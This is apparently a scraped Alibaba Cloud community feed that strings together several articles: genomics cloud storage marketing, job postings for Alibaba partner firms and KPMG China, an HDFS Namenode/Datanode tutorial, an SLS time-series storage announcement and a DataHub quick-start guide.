    •        科研院所分析结果实现全球数据分发快速,一般每天交付19TB数据,全球14个数据中心保障快速就近交付。
    •        分析结果长期保存归档,要求高性价比、高可靠性。

    2.2. 典型的基因行业的数据存储痛点
    1、数据存储:数据增长快,存储费用高,管理困难;长期保存数据可靠性难以保障;需要寻求低成本大数据量的数据压缩方式;元数据管理混乱,数据清理困难。

    2、分发共享:海量数据需要快速、安全的分发到国内多地及海外;传统硬盘寄送方式周期长,可靠性低;多地中心数据需要共享访问。
    3、计算分析:批量样本处理时间长,资源需求峰谷明显,难以规划;大规模样本的数据挖掘需要海量计算资源,本地集群难以满足;计算工作流流程迁移困难、线上线下调度困难、跨地域管理困难;线下弹性能力差,按需计算需求。

    3、阿里云基因容器存储解决方案

    阿里云上的基因行业的容器存储解决方案架构如下:
    3.png
     
    阿里云基因文件存储解决方案说明:
    •        基于AGS/ACK工作流搭建极速、低成本、高精度的基因测序的容器计算环境,根据业务需求,按需弹性提供计算资源,解决业务高峰期排队问题的同时,提高资源利用率。
    •        文件存储可以对接容器基因计算环境,满足基因测序的计算和数据共享需求:
    •       NAS为基因行业用户提供低时延、高 IOPS 的文件存储,用于基因数据分析中的共享存储,保存下机数据和组装后的数据,以及过程中的中间数据。
    •        NAS计算结果数据会同步到 OSS 存储,文件存储集成OSS 提供海量存储空间,同时通过冷数据归档存储,降低存储成本。保存测序仪下机数据和组装后数据以及分析结果数据,用于数据的分发、归档、交付。保证10000+用户同时上传、下载数据,提高数据交付效率。

    阿里云整体解决方案在基因行业的优势:
    •       生态闭环:70%的基因行业客户都在阿里云上,包括100%的测序工厂头部客户跟阿里云有高速专线,基因数据在阿里云上各个基因客户之间高速流动;
    •       产品成熟:K8S、ACK、AGS、OSS、NAS等产品都已经商业化多年,在基因行业客户得到广泛使用。对比友商,我们的产品稳定,功能丰富,性价比高;
    •       行业老兵:服务基因行业多年,深入理解客户的业务场景和痛点,针对性的解决了数据上云、数据分析、数据交付的问题,给客户提供端到端的解决方案;
    •       全球化:借助阿里云全球基础设施以及跨境高速通道,帮助客户拓展海外业务。

    阿里云文件存储解决方案在基因行业的优势:
    •       扩展能力强:集群最大规模支持近万个节点,容量可达数十PB规模;便于基因海量数据的性能升级和容量扩展。
    •       性能能力强:协助客户使用高性能文件存储;有力支撑基因业务增长带来的大容量和高性能需求;大大提高海量数据快速分发和基因计算分析效率。
    •       更经济:通过阿里云文件存储服务构建基因测序高性能工作负载;没有一次性成本投入或冗长的采购周期,享受按需付费、更经济的基础设施资源。
    •       灵活敏捷:阿里云高性能文件存储服务,与ACK等计算集群整合,支持集群直接挂载文件系统;多种产品选型:通用型NAS、CPFS公共云及CPFS一体机,满足不同基因用户性能、成本、多云部署需求;灵活售卖方式,资源弹性伸缩,按需购买;支持云下和云上整体解决架构,既提供线下固定资产输出方案,满足对数据存储管理和基因业务高性能的双重要求,也提供快速数据上云的方案。
    •       数据生命周期管理:支持数据智能流转至低频节约成本;支持集成OSS,实现数据计算、分发、归档、交付的智能数据流转;智能数据冷热分层,同时满足基因快速高效计算和海量基因数据成本优化需求。阿里云文件存储解决方案用户收益:
    •       敏捷,按需使用,弹性扩展
    •       超高性能存储提高基因计算的高性能和效率
    •       数据冷热分层,降低成本

    4、基因行业容器文件存储介绍

    阿里云文件存储NAS为非结构化数据提供存储服务。随着云原生的快速发展,许多公司的容器化应用程序使用NAS存储数据,有些甚至存储PB级数据。阿里云在云原生布局上提供容器K8s服务(ACK)、弹性容器实例(ECI)、容器服务ACK/ASK,容器实例使用NAS文件系统作为持久化存储。容器存储离不开共享文件存储。通常,彼此共享数据的容器自然需要共享文件存储,长期运行的容器也可使用共享文件存储应对故障。阿里云文件存储同时满足容器应用场景对持久化存储弹性伸缩、灵活挂载、高性能的需求。此外,容器镜像的配置文件或初始加载数据存储可以在 NAS 文件存储上实现共享,在容器批量加载时实时读取,多 POD 间通过 NAS 共享持久化数据,在 POD 故障时可以进行故障切换。阿里云NAS是容器存储的自然选择,因为它是一种完全托管的服务,配置简单,添加或删除数据时自动扩展,和容器基础架构一样灵活便捷。它还可以扩展到每秒数GB的吞吐量以及每秒数万的IOPS。它基于 POSIX 文件接口,提供 NFS / SMB 协议,天然适配原生操作系统,提供共享访问,同时保证数据一致性和锁互斥。文件存储中的数据在可用区内以多副本冗余方式存储,避免数据的单点故障风险。

    文件存储目前包括三款产品,分别是通用型NAS、极速型NAS和CPFS并行文件存储,为企业应用、大数据处理、小文件存储、高性能计算等场景提供全方位解决方案。
    了解更多阿里云文件存储

    阿里云文件存储主要具备以下特性:
    无缝对接容器存储插件,简化的云原生体验:文件存储基于POSIX/NFS/SMB文件接口,现有应用无需任何改造,可直接从本地磁盘平滑迁移至文件存储。针对容器编排,文件存储提供了CSI、Flexvolume存储插件,简化部署和使用,拥有完整的云原生体验。
    共享持久化数据,故障灵活切换:文件存储具备多节点共享访问能力,文件存储还可以在不同可用区(不支持跨地域)、不同VPC之间共享。多Pod间通过NAS共享持久化数据,在POD故障时可以进行故障切换。统一的名字空间,统一的管理方式。弹性文件系统无需扩容缩容,0-10PB完全按量。
    高性能加速,在容器批量加载时实时读取:文件存储基于分布式存储架构,具备性能水平扩展能力。提供不同类型、不同规格存储产品,充分满足各类应用的吞吐、延迟、IOPS和小文件等性能需求。文件存储支持us时延,数十GB吞吐,加速存储访问,提升应用性能,在容器批量加载时实时读取数据,支撑有状态应用、AI数据智能应用。
    企业级应用特性,Pod存储安全可靠:文件存储支持副本、纠删码技术,同时通过备份、快照提供完整的数据保护和恢复机制。支持传输、落盘加密,确保数据不会被任何人窃取和篡改。统一命名空间支持海量pod存储隔离和统一管理。
    持久化数据生命周期管理,优化成本:文件存储提供按量付费模式,您只需为正在使用的存储空间付费,不需要提前配置存储,并且不存在最低费用或设置费用。借助文件存储的共享能力可以节约大量的冗余数据拷贝和同步费用。数据生命周期管理,支持冷热分层,自动归档冷数据,降低成本90%。

    了解更多阿里云文件存储

    ]]>
    【四川捷云信通信息技术有限公司】- 招聘职位详情(校招) Fri, 02 May 2025 09:39:04 +0800 四川捷云信通信息技术有限公司

    四川捷云信通信息技术有限公司(以下简称:捷云信通)是一家由留学归国的资深技术人员创办的以大数据、云计算、物联网技术为核心的高新技术企业。捷云信通现有员工100余人,其中技术研发人员占比60%,公司90%的员工拥有大学本科以上学历,硕士研究生2人,博士专家7人。目前公司已拥有专利12项、软件著作权20项。捷云信通依托“物联网+大数据+云计算”技术,为气象、环保、交通、农业等诸多领域提供稳定可靠的数据支撑、精细化管理和整体解决方案。

    捷云信通除坚持自主创新和研发外,也是阿里云核心授权服务中心。2018年产值突破2亿,已连续三年保持百分之三十的年增长,顺利挺近中国一流云计算服务商行列。自2015年以来公司已承担完成了重庆跨境电商平台项目、成都英特龙O2O商城、重庆181美食城餐饮服务系统、美国PPI公司的医疗卫生监控平台,华为图并行计算软件,ALP测井数据集成平台等项目,以优良的专业素质和用户至上的精神获得客户好评。同时公司着力于Saas产品的研发运营,能为客户提供更为全面的的大数据服务和云计算平台服务。

    捷云信通核心团队成员由物联网、人工智能、云计算等方面有资深研究的权威专家和软硬件、算法、大数据等方面具备多年丰富从业经验的工作者组成。公司合伙人在信息化领域从业多年,带领团队成功完成过多个研发项目,具有极丰富的行业经验。

    职位1: 云计算客户经理

    Base地点:
    岗位职责:
    1、寻找潜在合作伙伴。
    2、与潜在合作伙伴进行商务洽谈。
    3、行业渠道建设,渠道管理和渠道关系维护等工作。
    4、开拓建立市场的代理渠道。
    5、市场状况竞争品牌的信息进行调研反馈。
    6、制定市场推广计划及方案。
    具体要求:
    工作年限:1年以上
    学历: 大专以上
    专业:计算机及相关专业
    1、具有计算机及相关专业专科及以上学历,有安全或云计算销售经验1年及以上优先考虑;
    2、熟悉互联网行业,能够独立开发合作伙伴,完成销售任务,有金融、电商、教育、互联网客户资源者优先;
    3、具有独立开发客户的能力,具备较强的学习能力、人际沟通能力和解决问题能力;
    4、为人坦诚自信,乐观进取,高度的工作热情,有良好的团队合作精神;
    简历投递方式:
    "1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位"

    招聘人数:若干人;持阿里云认证优先
    ]]>
    【广东唯一网络科技有限公司】- 招聘职位详情(校招) Fri, 02 May 2025 09:39:04 +0800 广东唯一网络科技有限公司介绍

    广东唯一网络科技有限公司(简称“唯一网络”)正式成立于2006年,是国内知名的云服务综合解决方案提供商。2018年4月通过中国证券监督管理委员会上市公司并购重组审核委员会审核,正式成为南兴装备股份有限公司(股票代码:002757)的全资子公司。

    唯一网络总部位于东莞,并设立了深圳、厦门、北京、广州、上海五大分公司。目前唯一网络及旗下子公司共拥有软件著作权达90多项,申请发明专利7项,其“唯云公有云服务平台”和“唯一网络安全防护技术服务”产品均被认定为2019年广东省高新技术产品,并已通过信息系统安全等级保护备案证明(第三级)、ISO9001质量管理体系认证、ISO27001信息安全管理体系认证、ITSS运维能力成熟度认证,两化融合管理体系认证,先后获得了“国家高新技术企业”、“广东省守合同重信用企业”、”广东省创新发展示范企业“、“东莞市十大倍增标杆企业”等荣誉称号。

    职位1: 业务助理

    Base地点: 厦门
    岗位职责:
    1、处理客户日常业务咨询,收集客户问题,快速响应;
    2、跟进与客户的需求落地、合同签署、回款;
    3、业务数据、销售提成统计,协助分析;
    具体要求:
    工作年限:一年以上
    学历: 本科以上
    专业:管理类或统计类专业
    1、本科或以上学历,管理类或统计类专业优先;
    2、有大型企业工作经验优先,一年以上助理类或运营类工作经验;
    3、熟练办公软件操作及公式的应用,擅长EXCLE,WORD,PPT,必须具备数据分析及书面表达能力;
    4、善于沟通,具备良好逻辑思维能力和沟通协调能力;
    5、抗压性强,做事有自己的思考,懂得主动反馈并提供多种解决方案,执行能力强。

    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和zengl@wy.cn
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:1人;持阿里云认证优先

    职位2: 客服专员

    Base地点:厦门
    岗位职责:
    1、熟悉公司主要产品,负责公司产品的推广和销售;
    2、通过电话或网络寻找客户,开发新客户,拓展与老客户的业务,建立和维护客户档案;
    3、执行公司制定的销售政策和销售业绩目标;

    具体要求:
    工作年限:一年以上
    学历: 大专及以上
    专业:不限
    1、有IT销售工作经验者优先(对域名、服务器、云主机、系统集成或硬件等互联网产品熟悉者优先);
    2、较熟悉计算机和互联网,坚持建立长期、诚信的客户关系,良好的人际沟通能力和表达能力,良好的客户服务意识;
    3、表达能力强,逻辑思维清晰,具备较强的执行力和沟通表达能力。
    其他要求:
    有IT销售工作经验者优先(对域名、服务器、云主机、系统集成或硬件等互联网产品熟悉者优先)
    简历投递方式:
    1、简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和zengl@wy.cn
    2、邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:2人;持阿里云认证优先

    职位3: 政务专员

    Base地点:厦门
    岗位职责:
    1、关注、研究各级政府部门的政策文件,定期给出观察报告与建议;
    2、协助政府政策申办中的了解文件要求,准备、制作符合政府要求的申报文件;
    3、助公司相关经营资质的申请工作;
    4、完成部门相关项目的统计与跟进工作;
    5、领导交予的其他工作。

    具体要求:
    工作年限:不限
    学历: 本科以上
    专业:不限
    1、本科以上;
    2、熟练使用office办公软件;
    3、熟练掌握行政管理、商务写作、公共关系等方面知识;
    4、文档阅读与撰写能力强,擅于沟通;
    5、优秀应届生亦可考虑。

    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和zengl@wy.cn
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:1人;持阿里云认证优先

    职位4: 机房运维工程师

    Base地点:厦门
    岗位职责:
    1、负责公司客户服务器日常维护;
    2、负责服务器故障的处理,网络不通,无法远程 等等故障;
    3、负责其他运维事项;
    具体要求:
    工作年限:不限
    学历: 不限
    专业:计算机等相关专业
    1、熟悉windows服务器操作系统并能熟练运用 windows2003/2008 ;
    2、了解Linux和UNIX系统;
    3、熟悉常用服务器软件的操作与使用;
    4、熟悉网络知识,处理常见网络故障;
    5、有责任心,服从管理,做事细心,有团队合作精神,能承受工作压力;
    6、具备良好的服务意识,头脑清晰,思维敏捷,能接受7*24小时轮班制;
    7、欢迎优秀的应届生加入。

    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和zengl@wy.cn
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:2人;持阿里云认证优先

    职位5: 运维工程师

    Base地点:东莞
    岗位职责:
    1、负责公司的服务器设备安装,系统部署和日常的运维工作;
    2、根据要求安装和配置操作系统.
    3、根据要求进行系统故障的排查和处理
    4、安装和维护公司计算机、服务器系统软件和应用软件;
    5、解决排除各种软硬件故障,做好记录;
    具体要求:
    工作年限:应届生
    学历: 大专及以上
    专业:计算机相关专业

    1、了解常见计算机的硬件、能排除简单硬件故障。
    2、了解计算基础网络和具备计算机基础知识.
    3、熟悉Windows、Linux系列服务器系统安装及操作,可以进行简单系统配置和故障分析和系统维护,熟悉系统常用的命令和配置步骤。
    4、熟悉常见的网络服务,FTP、WEB、Email等服务原理;

    其他要求:
    1、有责任心,服从安排,做事细心,有团队合作精神,能承受工作压力;
    2、沟通良好,计算机相关专业的应届毕业生或者有IDC行业工作经验的。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和zengl@wy.cn
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:1人;持阿里云认证优先
    ]]>
    【毕马威(中国)】- 招聘职位详情(社招) Fri, 02 May 2025 09:39:04 +0800 毕马威(中国)介绍

    毕马威中国在二十四个城市设有二十六家办事机构,合伙人及员工约12,000名,分布在北京、长沙、成都、重庆、佛山、福州、广州、海口、杭州、济南、南京、宁波、青岛、上海、沈阳、深圳、苏州、天津、武汉、厦门、西安、郑州、香港特别行政区和澳门特别行政区。在这些办事机构紧密合作下,毕马威中国能够高效和迅速地调动各方面的资源,为客户提供高质量的服务。

    毕马威是一个由专业服务成员所组成的全球网络。成员所遍布全球147个国家和地区,拥有专业人员超过219,000名,提供审计、税务和咨询等专业服务。毕马威独立成员所网络中的成员与瑞士实体 — 毕马威国际合作组织(“毕马威国际”)相关联。毕马威各成员所在法律上均属独立及分设的法人。

    职位1:Senior Consultant, Cyber Security

    Base地点:北京
    岗位职责:
    ·        Comprehensive quantitative and qualitative security risk assessments.
    ·        Development & implementation of security risk mitigation & compliance plans.
    ·        Evaluation & development of information security policies, standards and procedures.
    ·        Design and implementation of Information Security Frameworks based on industry good practices and/or regulatory frameworks.
    ·        Compliance assessments against industry or regulatory frameworks such as, ISO27001, PCI DSS, and local specific regulations.
    ·        Design, development and deployment of data classification structures.
    ·        Execution of business impact assessments delivering Business Continuity (BC) and Disaster Recovery (DR) Plans.
    ·        Development and delivery of security awareness trainings.
    具体要求:
    工作年限:三年以上
    学历: 在校生
    专业:计算机等相关专业
    ·        Strong knowledge of enterprise technologies, especially networking principles and internet-based technologies, with self-motivated learning ability.
    其他要求:
    ·        Hands-on experience conducting network scanning and penetration testing preferred.
    ·        Experience with security testing tools is an advantage.
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:2人;持阿里云认证优先
    ]]>
    必须掌握的分布式文件存储系统—HDFS Fri, 02 May 2025 09:39:04 +0800 HDFS(Hadoop Distributed File System)分布式文件存储系统,主要为各类分布式计算框架如Spark、MapReduce等提供海量数据存储服务,同时HBase、Hive底层存储也依赖于HDFS。HDFS提供一个统一的抽象目录树,客户端可通过路径来访问文件,如hdfs://namenode:port/dir-a/a.data。HDFS集群分为两大角色:Namenode、Datanode(非HA模式会存在Secondary Namenode)

    Namenode

    Namenode是HDFS集群主节点,负责管理整个文件系统的元数据,所有的读写请求都要经过Namenode。

    元数据管理

    Namenode对元数据的管理采用了三种形式:

    1) 内存元数据:基于内存存储元数据,元数据比较完整

    2) fsimage文件:磁盘元数据镜像文件,在NameNode工作目录中,它不包含block所在的Datanode 信息

    3) edits文件:数据操作日志文件,用于衔接内存元数据和fsimage之间的操作日志,可通过日志运算出元数据
    fsimage + edits = 内存元数据

    注意:当客户端对hdfs中的文件进行新增或修改时,操作记录首先被记入edit日志文件,当客户端操作成功后,相应的元数据会更新到内存元数据中

    可以通过hdfs的一个工具来查看edits中的信息
    bin/hdfs  oev  -i  edits  -o  edits.xml
    查看fsimage
    bin/hdfs  oiv  -i  fsimage_0000000000000000087  -p  XML  -o  fsimage.xml

    元数据的checkpoint(非HA模式)

    Secondary Namenode每隔一段时间会检查Namenode上的fsimage和edits文件是否需要合并,如触发设置的条件就开始下载最新的fsimage和所有的edits文件到本地,并加载到内存中进行合并,然后将合并之后获得的新的fsimage上传到Namenode。checkpoint操作的触发条件主要配置参数:

    dfs.namenode.checkpoint.check.period=60  #检查触发条件是否满足的频率,单位秒
    dfs.namenode.checkpoint.dir=file://${hadoop.tmp.dir}/dfs/namesecondary
    dfs.namenode.checkpoint.edits.dir=${dfs.namenode.checkpoint.dir}
    #以上两个参数做checkpoint操作时,secondary namenode的本地工作目录,主要处理fsimage和edits文件的
    dfs.namenode.checkpoint.max-retries=3  #最大重试次数
    dfs.namenode.checkpoint.period=3600  #两次checkpoint之间的时间间隔3600秒
    dfs.namenode.checkpoint.txns=1000000  #两次checkpoint之间最大的操作记录

    checkpoint作用

    1.加快Namenode启动

    Namenode启动时,会合并磁盘上的fsimage文件和edits文件,得到完整的元数据信息,但如果fsimage和edits文件非常大,这个合并过程就会非常慢,导致HDFS长时间处于安全模式中而无法正常提供服务。SecondaryNamenode的checkpoint机制可以缓解这一问题

    2.数据恢复
    Namenode和SecondaryNamenode的工作目录存储结构完全相同,当Namenode故障退出需要重新恢复时,可以从SecondaryNamenode的工作目录中将fsimage拷贝到Namenode的工作目录,以恢复Namenode的元数据。但是SecondaryNamenode最后一次合并之后的更新操作的元数据将会丢失,最好Namenode元数据的文件夹放在多个磁盘上面进行冗余,降低数据丢失的可能性。

    注意事项:

    1.SecondaryNamenode只有在第一次进行元数据合并时需要从Namenode下载fsimage到本地。SecondaryNamenode在第一次元数据合并完成并上传到Namenode后,所持有的fsimage已是最新的fsimage,无需再从Namenode处获取,而只需要获取edits文件即可。

    2.SecondaryNamenode从Namenode上将要合并的edits和fsimage拷贝到自己当前服务器上,然后将fsimage和edits反序列化到SecondaryNamenode的内存中,进行计算合并。因此一般需要把Namenode和SecondaryNamenode分别部署到不同的机器上面,且SecondaryNamenode服务器配置要求一般不低于Namenode。

    3.SecondaryNamenode不是充当Namenode的“备服务器”,它的主要作用是进行元数据的checkpoint

    Datanode

    Datanode作为HDFS集群从节点,负责存储管理用户的文件块数据,并定期向Namenode汇报自身所持有的block信息(这点很重要,因为,当集群中发生某些block副本失效时,集群如何恢复block初始副本数量的问题)。

    关于Datanode两个重要的参数:

    1.通过心跳信息上报参数

    <property>
    <name>dfs.blockreport.intervalMsec</name>
    <value>3600000</value>
    <description>Determines block reporting interval in milliseconds.</description>
    </property>

    2.Datanode掉线判断时限参数

    Datanode进程死亡或者网络故障造成Datanode无法与Namenode通信时,Namenode不会立即把该Datanode判定为死亡,要经过一段时间,这段时间称作超时时长。HDFS默认的超时时长为10分钟30秒。如果定义超时时间为timeout,则超时时长的计算公式为:

    timeout = 2 * heartbeat.recheck.interval(默认5分钟) + 10 * dfs.heartbeat.interval(默认3秒)。
    <property>
            <name>heartbeat.recheck.interval</name>
            # 单位毫秒
            <value>2000</value>
    </property>
    <property>
            <name>dfs.heartbeat.interval</name>
            # 单位秒
            <value>1</value>
    </property>

    HDFS读写数据流程

    了解了Namenode和Datanode的作用后,就很容易理解HDFS读写数据流程,这个也是面试中经常问的问题。

    HDFS写数据流程

    1.jpg

    注意:
    1.文件block块切分和上传是在客户端进行的操作

    2.Datanode之间本身是建立了一个RPC通信建立pipeline

    3.客户端先从磁盘读取数据放到一个本地内存缓存,开始往Datanode1上传第一个block,以packet为单位,Datanode1收到一个packet就会传给Datanode2,Datanode2传给Datanode3;Datanode1每传一个packet会放入一个应答队列等待应答

    4.当一个block传输完成之后,客户端会通知Namenode存储块完毕,Namenode将元数据同步到内存中

    5.Datanode之间pipeline传输文件时,一般按照就近可用原则
    a) 首先就近挑选一台机器
    b) 优先选择另一个机架上的Datanode
    c) 在本机架上再随机挑选一台

    HDFS读数据流程

    2.jpg

    注意:
    1.Datanode发送数据,是从磁盘里面读取数据放入流,以packet为单位来做校验

    2.客户端以packet为单位接收,先在本地缓存,然后写入目标文件

    客户端将要读取的文件路径发送给namenode,namenode获取文件的元信息(主要是block的存放位置信息)返回给客户端,客户端根据返回的信息找到相应datanode逐个获取文件的block并在客户端本地进行数据追加合并从而获得整个文件

    HDFS HA机制

    HA:高可用,通过双Namenode消除单点故障。

    3.jpg

    双Namenode协调工作的要点:

    1.元数据管理方式需要改变
    a) 内存中各自保存一份元数据

    b) edits日志只能有一份,只有active状态的Namenode节点可以做写操作

    c) 两个Namenode都可以读取edits

    d) 共享的edits放在一个共享存储中管理(qjournal和NFS两个主流实现,图中以放在一个共享存储中管理(qjournal和为例)

    2.需要一个状态管理功能模块
    a) 实现了一个zk failover,常驻在每一个Namenode所在的节点

    b) 每一个zk failover负责监控自己所在Namenode节点,利用zk进行状态标识,当需要进行状态切换时,由zk failover来负责切换,切换时需要防止brain split现象的发生

    ]]>
    开放、普惠、高性能-SLS时序存储助力打造企业级全方位监控方案 Fri, 02 May 2025 09:39:04 +0800

    无所不在的时序数据

    时间带走一切,长年累月会把你的名字、外貌、性格、命运都改变。 ---柏拉图


    随着时间的推移,万事万物都在不停的变化,而我们也会用各种数字去衡量这些变化信息,比如年龄、重量、速度、温度、金钱...在数字化时代中,我们会把这些随着时间变化的数据保存起来,挖掘这些数据的价值。通常我们会称这类数据为---时序数据。

    时序数据用于描述物体在时间维度上的状态变化信息。

    image.png

    时序数据在各行各业都得到了非常广泛的应用,例如股票走势、交易趋势、服务器指标、脉搏心跳、定位坐标、能耗趋势等等,而这些数据几乎在所有的场景中都得到了应用,例如:

    1. 各类炒股软件提供众多不同维度的股票K线图,为广大股民提供参考标准;
    2. Apple Watch通过监控佩戴者的心率信息,帮助人们提早发现严重的心脏疾病;
    3. 国家电网通过分析各个小区、住户的用电量曲线,来判断是否有偷电漏电情况;
    4. 电商类的公司会监控平台的下单、交易、退货、评价等关键流程的变化趋势,用来快速发现各类异常;
    5. 各个游戏平台通过分析每个用户角色的操作、位置等变化规律,来判断是否使用了作弊辅助工具...

    我们需要一个什么样的时序存储

    为了能够支撑各种场景的时序分析、监控等需求,近几年在开源和商业领域均出现了一些时序存储的引擎,例如TimescaleDB、CrateDB、InfluxDB、OpenTSDB、Prometheus等,这些存储引擎分别有自己的生态和适用场景,在某些场景下具有较高的优势,例如TimescaleDB基于PostgreSQL,如果是PG的用户可以快速上手;InfluxDB具有非常完善的生态,TICK(Telegraf、 InfluxDB、Chronograf、Kapacitor)可以快速上手;Prometheus对于云原生场景支持非常友好,PromQL也非常便捷灵活,已经成为Kubernetes上监控的实事标准。


    然而从实际公司的业务场景出发,对于时序数据会有更多的要求:

    1. 高性能:时序数据通常流量大、保存周期长且需要长时间的范围查询,能够支撑大规模的写入与快速查询是必备条件;
    2. 开放:通常公司内部会有多个部门对不同系统的时序数据进行不同类型的分析、监控等需求,因此时序存储需具备足够的开放能力,支持各种数据的接入以及下游消费;
    3. 低成本:这里的成本主要包括两方面:资源成本和人力运维成本。有摩尔定律的存在,单位资源成本越来越低,而单位人力成本每年都在提升,因此低成本的核心在于运维这套时序存储的人力成本;
    4. 智能化:尤其在海量监控对象的场景中,纯粹的静态规则很难发现某个监控对象的异常,因此时序存储上层需要附加智能化的算法,提升监控的准确率。

    SLS时序存储发布

    SLS的日志存储引擎在2016年对外发布,目前承接阿里内部以及众多企业的日志数据存储,每天有数十PB的日志类数据写入。其中有很大一部分属于时序类数据或者用来计算时序指标,为了让用户能够一站式完成整个DevOps生命周期的数据接入、清洗、加工、提取、存储、可视化、监控、问题分析等过程,我们专门推出了时序存储的功能,与日志存储一道为大家解决各类机器数据的存储问题。


    image.png

    时序存储整体架构如上图所示,接入层可以对接各类开源的采集软件以及SLS自己开发的高性能Logtail,同时支持各种语言SDK直接写入,也支持Kafka、Syslog等开放性协议;存储层是完全分布式架构,每个时序库可通过Sharding方式水平扩展,数据默认3副本高可靠存储;计算层与存储层分离,提供SQL、PromQL纯分析型语法,同时提供智能分析能力。基于SLS提供的采集、存储、分析等功能可快速构建企业自己的业务监控、微服务监控等方案。

    功能特点

    image.png

    SLS时序存储从设计之初就是为了解决阿里内部与众多头部企业客户的时序存储需求,并借助于阿里内部多年的技术积累,使之可以适应绝大部分企业级时序监控/分析诉求。SLS时序存储的特点主要有:

    1. 丰富上下游:数据接入上SLS支持众多采集方式,包括各类开源Agent以及阿里云内部的监控数据通道;同时存储的时序数据支持对接各类的流计算、离线计算引擎,数据完全开放;
    2. 高性能:SLS存储计算分离架构充分发挥集群能力,尤其在大量数据下端对端的速度提升显著;
    3. 免运维:SLS的时序存储完全是服务化,无需用户自己去运维实例,而且所有数据都是3副本高可靠存储,不用担心数据的可靠性问题;
    4. 开源友好:SLS的时序存储原生支持Prometheus的写入和查询,并支持SQL92的分析方法,可以原生对接Grafana等可视化方案;
    5. 智能:SLS提供了各种AIOps算法,例如多周期估算、预测、异常检测、时序分类等各类时序算法,可以基于这些算法快速构建适应于公司业务的智能报警、诊断平台。

    典型应用场景

    应用/业务监控

    image.png

    应用/业务监控是公司层面重要的工作之一,在阿里内部一直作为最重要的监控项在建设。通过SLS提供的各类数据采集功能将所有应用/业务数据统一、实时采集,利用数据加工把各个不同时期、不同风格的数据做结构化处理,基于结构化的数据就可以做一定的分析,但通常业务数据量级较大,我们还会使用SQL的聚合功能对数据进行一定的降维,使用降维后的聚合时序数据来做告警以及长期的监控指标回溯。

    云原生监控

    image.png

    随着云原生技术的普及,越来越多的公司开始技术转型到云原生架构,借助于Prometheus、OpenTelemetry等CNCF的开源Project可以快速采集到Kubernetes以及各类中间件、应用的监控信息,阿里云上的云监控获取到所有云产品的监控数据。利用SLS时序存储以及日志/Trace存储的能力,可以支持各类监控数据的统一存储,数据可无缝对接Grafana的可视化,在Grafana上构建基础设施、云产品、中间件、应用软件的全方位监控大盘。

    访问日志分析

    image.png

    访问日志作为网站、APP的入口流量记录,能够直接反映出当前应用是否正常,因此运维领域的必备监控项。通过Logtail采集原始的访问日志,可用来分析/调查每个用户的请求,也可用作归档/审计需求;但原始访问日志量较大,不太适合直接的监控,通常会通过预聚合的方式对数据进行降维,基于聚合后的时序数据进行实时监控,并可应用SLS提供的智能巡检功能对每个业务站点进行独立的智能监控。


    大家在使用SLS中遇到的任何问题,请加钉钉群,我们有专门的日志女仆24小时在线答疑,还有火锅哥和烧烤哥专业支持!~ SLS微信公众号定期会发布各类日志、监控领域的技术分享文章并定期举行抽奖,欢迎小伙伴们关注~


    另外欢迎对大数据、分布式、机器学习等有兴趣的同学加入,转岗、内推,来者不拒,请用简历狠狠的砸我,联系邮箱 davidzhang.zc@alibaba-inc.com !~
    image.png


    ]]>
    DataHub使用指南 Fri, 02 May 2025 09:39:04 +0800 快速入门教程

    1.开通DataHub

    ​ 使用DataHub的第一步,首先点击开通DataHub

    2.创建Project和 Topic

    • 具体创建方式参考文档:https://help.aliyun.com/document_detail/158785.html?spm=a2c4g.11186623.6.556.796958e1yVcaLO
    • 创建Topic方式解读,Tuple还是Blob?

      • Tuple支持的是强Schema的结构化数据,Blob指的是没有类型的非结构化数据,在实际中Blob就是只有一列为string类型的schema
      • 值得注意的是:使用Blob类型topic的话,数据会采用Base64加密,无论是抽样还是下游消费,都需要进行解密
      • Schema设计


    DataHub目前只支持字段的新增,不支持删除和修改,针对上游数据源字段经常发生变动的场景,建议设置允许字段为空,如果上游字段变更的话,针对多出来的字段可以通过SDK新增字段,而对于减少的字段则由于允许为空,值将会置为NULL,不会对业务造成影响
    
    • shard 和生命周期设置

      • shard在DataHub中代表的是并发通道,每个shard每秒吞吐限制为5M/s,每个shardQPS(每秒请求数)为2000次,您可根据这两项指标合理设置shard个数
      • 针对生命周期而言,可以根据业务需要设置,如果需要更改的话,可以使用Java SDK修改生命周期

    3.上游的选择

    DataHub目前支持的数据采集插件

    • OGG

      • OGG for MySQL
      • OGG for Oracle
    • LogStash
    • Flume
    • Canal插件
    • Fluentd

    https://help.aliyun.com/document_detail/158836.html?spm=a2c4g.11186623.6.588.5e65710b7RMCns
    通过SDK自定义写入DataHub

    注意:

    https://help.aliyun.com/document_detail/158841.html?spm=a2c4g.11186623.6.599.28c21333xe8wPo
    https://help.aliyun.com/document_detail/158834.html?spm=a2c4g.11186623.6.583.2db4710bEEOlFZ
    兼容Kafka

    https://help.aliyun.com/document_detail/168118.html?spm=a2c4g.11186623.6.586.6aec6bdbCi1ElZ
    DTS数据同步
    从PolarDB MySQL同步至Datahub
    从DRDS同步至DataHub
    DataHub目前的上游生态就是这样了

    4.指标查看 or数据抽样

    ​ 在将数据写入到DataHub之后,DataHub提供了可视化指标来查看内部情况,具体详情请查看

    指标查看metric详情最新.png

    ​ 用户如何查看数据质量,写入是否正确?可以通过Web抽样功能来查看数据

    5.订阅

    ​ 什么是订阅?

    • 订阅最主要的功能就是存储消费点位,以及通过点位重置重新消费
    • 用户可创建不同的订阅针对同一个Topic数据的不同消费模式
    • 创建同步自动会创建对应的订阅


    创建订阅,删除订阅请查看文档:https://help.aliyun.com/document_detail/158833.html?spm=a2c4g.11174283.6.584.78d763ef5KNv0Y

    6.同步数据到下游

